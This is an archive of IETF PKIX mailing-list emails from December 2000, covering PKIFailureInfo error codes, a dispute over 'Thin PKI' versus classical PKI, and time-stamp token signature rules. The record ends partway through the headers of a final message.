Received: from certplus.com ([192.168.212.178])
	by certplus.com (8.8.7/8.8.7) with ESMTP id RAA09463
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 17:00:03 +0100
Message-ID: <3A3A3F27.CEC2020D@certplus.com>
Date: Fri, 15 Dec 2000 16:56:23 +0100
From: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf-pkix <ietf-pkix@imc.org>
Subject: PKIFailureInfo : Internal Error
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Hi,

The PKIFailureInfo that is present is several pkix standards, rfc2510,
time-stamp, etc ... does not provide a way for the entity that sends the
response to signal that it has encountered an internal error that
prevents its from being able to answer succesfully to the request,
despite the fact there is nothing invalid in the request.

In case none of the suggested errors applies, there's no generic error
to send back.

If you are wondering, I was looking for the adequate error code that
should be returned if the entity detects a failure of the hardware token
it uses to sign data, but many other internal errors can be encountered
...



From owner-ietf-pkix@imc.org  Fri Dec 15 12:29:15 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA04687
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 12:29:14 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA01297;
	Fri, 15 Dec 2000 09:24:33 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 09:24:05 -0800
Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA01251
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 09:24:04 -0800 (PST)
Received: from [171.78.30.107] (comsec.bbn.com [171.78.30.107])
	by po1.bbn.com (8.9.1/8.9.1) with ESMTP id KAA26401;
	Fri, 15 Dec 2000 10:10:11 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@po1.bbn.com
Message-Id: <v04220800b65fe2367041@[171.78.30.107]>
In-Reply-To: <009601c06682$4bafd4d0$0201a8c0@vincent.se>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se>
Date: Fri, 15 Dec 2000 10:02:22 -0500
To: "Anders Rundgren" <anders.rundgren@telia.com>
From: Stephen Kent <kent@bbn.com>
Subject: Re: Thin PKI won - You lost
Cc: "PKIX-List" <ietf-pkix@imc.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

At 11:31 AM +0100 12/15/00, Anders Rundgren wrote:
>Hi Steve,
>Do you remember the debate I started some 18 months ago when I launched the
>"Thin PKI"/CyberPhone concept in this list?
>
>    http://www.mobilephones-tng.com/v100/dynamiccerts.html
>
>The concept in a nutshell: When you engage in inter-organizational 
>activities you let an
>"organization server" vouch for its employees (clients) by signing 
>(AC-like) credentials on the fly for
>authentication, and signing outgoing transactions on the clients 
>request. All this without using
>any direct PKI-based "connection" between the client and the RP. 
>BTW, the client does
>not even have to use PKI!
>
>You claimed that this was a bad idea, while I claimed that this is 
>"the future for PKI".
>
>After reading the S2ML-draft 0.7a I can inform you that this 
>specification, which is supported by
>VeriSign, RSA etc. use exactly this scheme for authentications and 
>authorizations.  And so does
>BTW VISA's coming 3D-SSL payment solution as well.
>
>                                  Any comments? :-) :-)

Bad ideas are patentable, marketable, and may even be successful. 
What's your point?

>
>My guess is that this will in a couple of years, smash quite a few 
>PKI-projects into pieces!
>
>For those who are engaged in federal or national PKIs, and Bridge-CAs etc.:
>
>                    === You are very likely to be on the wrong track! ===
>
>We need thin "interoperable domains" (VISA's term) between 
>organizations, not giant PKIs where
>"everybody is talking to everybody" (certificate-wise).  The banks 
>use the former model, and although
>banks cannot be accused for being hi-tech, they have anyway 
>succeeded in doing advanced O2O/B2B-things
>(even globally), supporting millions of ordinary users on the 
>Internet,  which none of the many
>government-sponsored PKI-programs have achieved, or will ever 
>achieve using current PKI-models.
>
>Signature archival is a built-in feature using Thin PKI, instead of 
>something that
>you with great pains "glue" to a basically broken system.
>
>The term "Thin PKI" was coined by me to denote the fact that you 
>with a single cert+key could
>"do anything" you'll ever need.  It could actually be extended to 
>organizations as well.
>
>That interoperability becomes a no-issue (at least compared to the 
>"classical" PKI approach), is
>the fact that a single commercial TTP can w.o. problems certify 
>millions of organizations.
>I.e. much of this CA policy-stuff that some organizations are 
>working with is in vain as most
>organizations will buy pre-packaged products.  "Trust" is actually 
>something that has to be created within
>organizations and that is (except for a few die-hard PKIers), 
>virtually independent on CA policies.
>
>Anders Rundgren
>co-founder
>X-OBI
>+46 70 - 627 74 37


This sort of marketing rhetoric has no place on an IETF mailing list, 
including this one. If you can't restrict your contributions to 
technical discussions, we'll have to ask you to not pot to this list.

Steve



From owner-ietf-pkix@imc.org  Fri Dec 15 12:54:56 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA12866
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 12:54:55 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA01982;
	Fri, 15 Dec 2000 09:51:14 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 09:51:12 -0800
Received: from mail.phaos.com ([206.30.74.234])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA01948
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 09:51:11 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135])
	by mail.phaos.com (8.9.2/8.9.2) with ESMTP id QAA83909;
	Fri, 15 Dec 2000 16:44:46 -0500 (EST)
	(envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001215125527.00c26360@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 15 Dec 2000 12:57:34 -0500
To: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>,
        ietf-pkix <ietf-pkix@imc.org>
From: Ari Kermaier <arik@phaos.com>
Subject: Re: PKIFailureInfo : Internal Error
In-Reply-To: <3A3A3F27.CEC2020D@certplus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

The PKIFailureInfo structure described in draft-ietf-pkix-rfc2510bis-02 
includes systemFailure(25) which, while not very descriptive, might fit the 
bill for hardware failure.

::Ari

>Hi,
>
>The PKIFailureInfo that is present is several pkix standards, rfc2510,
>time-stamp, etc ... does not provide a way for the entity that sends the
>response to signal that it has encountered an internal error that
>prevents its from being able to answer succesfully to the request,
>despite the fact there is nothing invalid in the request.
>
>In case none of the suggested errors applies, there's no generic error
>to send back.
>
>If you are wondering, I was looking for the adequate error code that
>should be returned if the entity detects a failure of the hardware token
>it uses to sign data, but many other internal errors can be encountered
>...



From owner-ietf-pkix@imc.org  Fri Dec 15 13:26:28 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA23232
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 13:26:27 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA05155;
	Fri, 15 Dec 2000 10:20:54 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 10:20:07 -0800
Received: from maila.telia.com (maila.telia.com [194.22.194.231])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA05102
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 10:20:06 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by maila.telia.com (8.9.3/8.9.3) with ESMTP id TAA02422;
	Fri, 15 Dec 2000 19:22:57 +0100 (CET)
Received: from mega (t7o69p177.telia.com [213.65.46.177])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBFIMto09165;
	Fri, 15 Dec 2000 19:22:56 +0100 (CET)
Message-ID: <013101c066c3$d63b4bc0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Stephen Kent" <kent@bbn.com>
Cc: "PKIX-List" <ietf-pkix@imc.org>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <v04220800b65fe2367041@[171.78.30.107]>
Subject: Classic PKI vs Thin PKI/S2ML
Date: Fri, 15 Dec 2000 19:21:23 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id KAA05103
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

Steve,

> This sort of marketing rhetoric has no place on an IETF mailing list, 
> including this one. If you can't restrict your contributions to 
> technical discussions, we'll have to ask you to not pot to this list.

Pardon me, I got a little bit carried away.

But, are you *really* prepared to openly discuss the problems with classical PKI
versus Thin PKI, S2ML, OBI and 3D-SSL?

If so, please comment the section of my posting mentioning banks, as this is something practically
all in this list have some knowledge with.  As this is a very complex subject (my usual
Thin PKI seminar is 2-3 hours!), it is though very important to stay exactly on the track,
otherwise the discussion will deteriorate in no time at all.  Unfortunately I don't think
that any of the main forces behind S2ML, OBI or 3D-SSL are interested in 
"The war of the PKIs", but we'll see.   And in the same way as with PKIXML, I
care more about "marketability" and "deploymentability" than if something is the
"most secure solution in the world".  Sweden actually had the most secure solution in
the world: The SEIS electronic ID-card.  Unfortunately it is fairly useless and expensive,
and therefore very few have it.

Regards
Anders Rundgren
co-founder
X-OBI



From owner-ietf-pkix@imc.org  Fri Dec 15 14:31:14 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA16326
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 14:31:13 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA09584;
	Fri, 15 Dec 2000 11:27:34 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 11:27:24 -0800
Received: from certplus.com ([195.101.88.81])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA09542
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 11:27:23 -0800 (PST)
Received: from certplus.com ([192.168.212.178])
	by certplus.com (8.8.7/8.8.7) with ESMTP id UAA11440
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 20:33:15 +0100
Message-ID: <3A3A7120.D0CFDF0B@certplus.com>
Date: Fri, 15 Dec 2000 20:29:36 +0100
From: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
CC: ietf-pkix <ietf-pkix@imc.org>
Subject: Re: PKIFailureInfo : Internal Error
References: <4.2.0.58.20001215125527.00c26360@mail.phaos.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Ari Kermaier wrote:

> The PKIFailureInfo structure described in draft-ietf-pkix-rfc2510bis-02
> includes systemFailure(25) which, while not very descriptive, might fit the
> bill for hardware failure.

It didn't read that draft before posting.

It should be considered, whenever possible, to include this value into the list
of acceptables values for the other drafts that use a PKIFailureInfo.



From owner-ietf-pkix@imc.org  Fri Dec 15 15:42:43 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA07634
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 15:42:43 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA13575;
	Fri, 15 Dec 2000 12:37:54 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 12:37:41 -0800
Received: from emerald.lightlink.com (emerald.lightlink.com [205.232.34.14])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA13507
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 12:37:40 -0800 (PST)
Received: from chrisf (perm70-18.ij.net [209.216.70.18] (may be forged))
	by emerald.lightlink.com (8.8.8/8.8.8) with SMTP id PAA21632;
	Fri, 15 Dec 2000 15:40:31 -0500
From: "Christopher S. Francis" <chris.francis@wetstonetech.com>
To: "Ietf-Pkix" <ietf-pkix@imc.org>
Cc: "Mike Duren" <mike@wetstonetech.com>
Subject: Need clarification on rules for signatures in Time Stamp Tokens
Date: Fri, 15 Dec 2000 15:53:22 -0500
Message-ID: <NEBBKNLKHMMPAKLAPDMDKEJECBAA.chris.francis@wetstonetech.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0000_01C066AF.26C63DD0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01C066AF.26C63DD0
Content-Type: text/plain;
	charset="iso-8859-1"
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id MAA13575
Content-Transfer-Encoding: quoted-printable

I=92m hoping to get a little clarification here.  Page 6 of the TSP docum=
ent
says =93The time stamp token MUST NOT contain any signatures other than t=
he
signature of the TSA=94.  Does this apply to signed data objects that app=
ear
in the extensions list?  The extensions are obviously part of the token, =
but
it seems rather restrictive to mandate that if some type of signed extens=
ion
is used, it MUST be signed by the TSA.

Chris Francis
WetStone Technologies, Inc.

------=_NextPart_000_0000_01C066AF.26C63DD0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 9">
<meta name=3DOriginator content=3D"Microsoft Word 9">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C066AF.0A505280">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:View>Normal</w:View>
  <w:Zoom>0</w:Zoom>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Font Definitions */
@font-face
	{font-family:"Comic Sans MS";
	panose-1:3 15 7 2 3 3 2 2 2 4;
	mso-font-charset:0;
	mso-generic-font-family:script;
	mso-font-pitch:variable;
	mso-font-signature:647 0 0 0 159 0;}
 /* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
h1
	{mso-style-next:Normal;
	margin-top:12.0pt;
	margin-right:0in;
	margin-bottom:3.0pt;
	margin-left:0in;
	mso-pagination:widow-orphan;
	page-break-after:avoid;
	mso-outline-level:1;
	font-size:16.0pt;
	font-family:Arial;
	mso-font-kerning:16.0pt;}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
p.MsoAutoSig, li.MsoAutoSig, div.MsoAutoSig
	{margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
span.EmailStyle15
	{mso-style-type:personal-compose;
	mso-ansi-font-size:12.0pt;
	mso-ascii-font-family:"Comic Sans MS";
	mso-hansi-font-family:"Comic Sans MS";
	mso-bidi-font-family:Arial;
	color:black;}
p.Heading1NoTOC, li.Heading1NoTOC, div.Heading1NoTOC
	{mso-style-name:"Heading 1 No TOC";
	mso-style-parent:"Heading 1";
	margin-top:12.0pt;
	margin-right:0in;
	margin-bottom:3.0pt;
	margin-left:0in;
	text-align:center;
	mso-pagination:widow-orphan;
	page-break-after:avoid;
	mso-outline-level:1;
	font-size:14.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-fareast-font-family:"Times New Roman";
	mso-bidi-font-family:"Times New Roman";
	mso-font-kerning:14.0pt;
	font-weight:bold;
	mso-bidi-font-weight:normal;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><span class=3DEmailStyle15><font size=3D3 =
color=3Dblack
face=3D"Comic Sans MS"><span =
style=3D'font-size:12.0pt;font-family:"Comic Sans MS"'>I&#8217;m
hoping to get a little clarification here.<span style=3D"mso-spacerun:
yes">&nbsp; </span>Page 6 of the TSP document says &#8220;The time stamp =
token MUST
NOT contain any signatures other than the signature of the =
TSA&#8221;.<span
style=3D"mso-spacerun: yes">&nbsp; </span>Does this apply to signed data =
objects
that appear in the extensions list?<span style=3D"mso-spacerun: =
yes">&nbsp;
</span>The extensions are obviously part of the token, but it seems =
rather
restrictive to mandate that if some type of signed extension is used, it =
MUST
be signed by the TSA.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle15><font size=3D3 =
color=3Dblack
face=3D"Comic Sans MS"><span =
style=3D'font-size:12.0pt;font-family:"Comic Sans MS"'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;color:black'>Chris Francis</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;color:black'>WetStone Technologies, =
Inc.</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

</div>

</body>

</html>

------=_NextPart_000_0000_01C066AF.26C63DD0--



From owner-ietf-pkix@imc.org  Fri Dec 15 16:00:51 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA13168
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 16:00:50 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA14615;
	Fri, 15 Dec 2000 12:57:11 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 12:57:08 -0800
Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA14585
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 12:57:07 -0800 (PST)
Received: from [171.78.30.107] (comsec.bbn.com [171.78.30.107])
	by po1.bbn.com (8.9.1/8.9.1) with ESMTP id PAA17008;
	Fri, 15 Dec 2000 15:59:57 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@po1.bbn.com
Message-Id: <v04220802b660338b1fb9@[171.78.30.107]>
In-Reply-To: <013101c066c3$d63b4bc0$0201a8c0@vincent.se>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se>
 <v04220800b65fe2367041@[171.78.30.107]>
 <013101c066c3$d63b4bc0$0201a8c0@vincent.se>
Date: Fri, 15 Dec 2000 15:55:18 -0500
To: "Anders Rundgren" <anders.rundgren@telia.com>
From: Stephen Kent <kent@bbn.com>
Subject: Re: Classic PKI vs Thin PKI/S2ML
Cc: "PKIX-List" <ietf-pkix@imc.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

At 7:21 PM +0100 12/15/00, Anders Rundgren wrote:
>Steve,
>
>  > This sort of marketing rhetoric has no place on an IETF mailing list,
>  > including this one. If you can't restrict your contributions to
>  > technical discussions, we'll have to ask you to not pot to this list.
>
>Pardon me, I got a little bit carried away.
>
>But, are you *really* prepared to openly discuss the problems with 
>classical PKI
>versus Thin PKI, S2ML, OBI and 3D-SSL?

>If so, please comment the section of my posting mentioning banks, as 
>this is something practically
>all in this list have some knowledge with.  As this is a very 
>complex subject (my usual
>Thin PKI seminar is 2-3 hours!), it is though very important to stay 
>exactly on the track,
>otherwise the discussion will deteriorate in no time at all. 
>Unfortunately I don't think
>that any of the main forces behind S2ML, OBI or 3D-SSL are interested in
>"The war of the PKIs", but we'll see.   And in the same way as with PKIXML, I
>care more about "marketability" and "deploymentability" than if 
>something is the
>"most secure solution in the world".  Sweden actually had the most 
>secure solution in
>the world: The SEIS electronic ID-card.  Unfortunately it is fairly 
>useless and expensive,
>and therefore very few have it.

The financial community has a set of concerns that are entirely 
valid, and are NOT the whole of PKI. Lynn Wheeler, who just 
contributed to this discussion, pursues PKI issues in ANSI F9, a 
standards committee devoted to that application area.

PKIX addresses a broader set of PKI users and does not tailor 
standards to meet requirements of a given application arena, even if 
it is a very, very big arena. This, for example, we will not address 
PKI problems that are cast narrowly as financial transactions or cell 
phone problems, etc. The delegated path validation/discovery work 
that we are now doing is not narrowly cast, even though it may be 
very applicable to wireless users, etc. This desire to not be driven 
by specific application domains is NOT a PKIX-uniqye. For example, 
TCP/IP could be reworked from the ground up to better accommodate 
wireless users, but that's not likely to happen. The IPsec WG 
rejected the notion of changing ESP to better accommodate satellite 
and low speed wireless users.

The minutes of the WG meeting, plus Phil's slides, should indicate 
that there was no enthusiasm expressed there for mere syntactic 
transliteration of ASN.1 to XML. Phil observed that the XKMS 
initiative that he described is likely to be pursued in another 
forum, e.g., the W3C, based on feedback from the security ADs.

Steve



From owner-ietf-pkix@imc.org  Fri Dec 15 16:12:33 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA17323
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 16:12:33 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA15070;
	Fri, 15 Dec 2000 13:08:55 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 13:08:52 -0800
Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA15039
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 13:08:51 -0800 (PST)
Received: from asn-1.com (user-2ivf7mh.dialup.mindspring.com [165.247.158.209])
	by johnson.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id QAA28528
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 16:11:42 -0500 (EST)
Message-ID: <3A3A89CA.F7EB23F1@asn-1.com>
Date: Fri, 15 Dec 2000 16:14:50 -0500
From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
Reply-To: phil.griffin@asn-1.com
Organization: Griffin Consulting 
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: pkix list <ietf-pkix@imc.org>
Subject: Re: Classic PKI vs Thin PKI/S2ML
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se>
	 <v04220800b65fe2367041@[171.78.30.107]>
	 <013101c066c3$d63b4bc0$0201a8c0@vincent.se> <v04220802b660338b1fb9@[171.78.30.107]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit


Stephen Kent wrote (in part):
> 
snip
> 
> The financial community has a set of concerns that are entirely
> valid, and are NOT the whole of PKI. Lynn Wheeler, who just
> contributed to this discussion, pursues PKI issues in ANSI F9, a
> standards committee devoted to that application area.

Wait a minute. As far as I know, Mr. Wheeler is not
involved in any of the security area standards being
developed in X9F, but participates frequently in X9A. 
Not the same working groups.

Phil
----
Phillip H. Griffin      Griffin Consulting
http://asn-1.com        Secure ASN.1 Design & Implementation
+1-919-832-7008         1625 Glenwood Avenue, Five Points
+1-919-832-7390 [fax]   Raleigh, North Carolina  27608  USA
------------------------------------------------------------


From owner-ietf-pkix@imc.org  Fri Dec 15 16:41:36 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA26465
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 16:41:36 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA15763;
	Fri, 15 Dec 2000 13:37:08 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 13:37:06 -0800
Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA15733
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 13:37:05 -0800 (PST)
Received: from [171.78.30.107] (comsec.bbn.com [171.78.30.107])
	by po1.bbn.com (8.9.1/8.9.1) with ESMTP id QAA21712;
	Fri, 15 Dec 2000 16:39:51 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@po1.bbn.com
Message-Id: <v04220808b6603eafbde7@[171.78.30.107]>
In-Reply-To: <3A3A89CA.F7EB23F1@asn-1.com>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se>	
 <v04220800b65fe2367041@[171.78.30.107]>	
 <013101c066c3$d63b4bc0$0201a8c0@vincent.se>
 <v04220802b660338b1fb9@[171.78.30.107]> <3A3A89CA.F7EB23F1@asn-1.com>
Date: Fri, 15 Dec 2000 16:33:49 -0500
To: phil.griffin@asn-1.com
From: Stephen Kent <kent@bbn.com>
Subject: Re: Classic PKI vs Thin PKI/S2ML
Cc: pkix list <ietf-pkix@imc.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Phil,

Thanks for the correction.

Steve


From owner-ietf-pkix@imc.org  Fri Dec 15 17:27:28 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA11138
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 17:27:28 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA18240;
	Fri, 15 Dec 2000 14:23:53 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 14:23:44 -0800
Received: from mail01-ewr.pilot.net (mail-ewr-1.pilot.net [206.98.230.18])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA18208
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 14:23:42 -0800 (PST)
From: Lynn.Wheeler@firstdata.com
Received: from mailgw.firstdata.com ([204.48.27.156]) by mail01-ewr.pilot.net with ESMTP id RAA16399; Fri, 15 Dec 2000 17:26:35 -0500 (EST)
Received: from lnsunr02.fl.firstdata.com (localhost [127.0.0.1]) by mailgw.firstdata.com with SMTP id RAA00314; Fri, 15 Dec 2000 17:26:34 -0500 (EST)
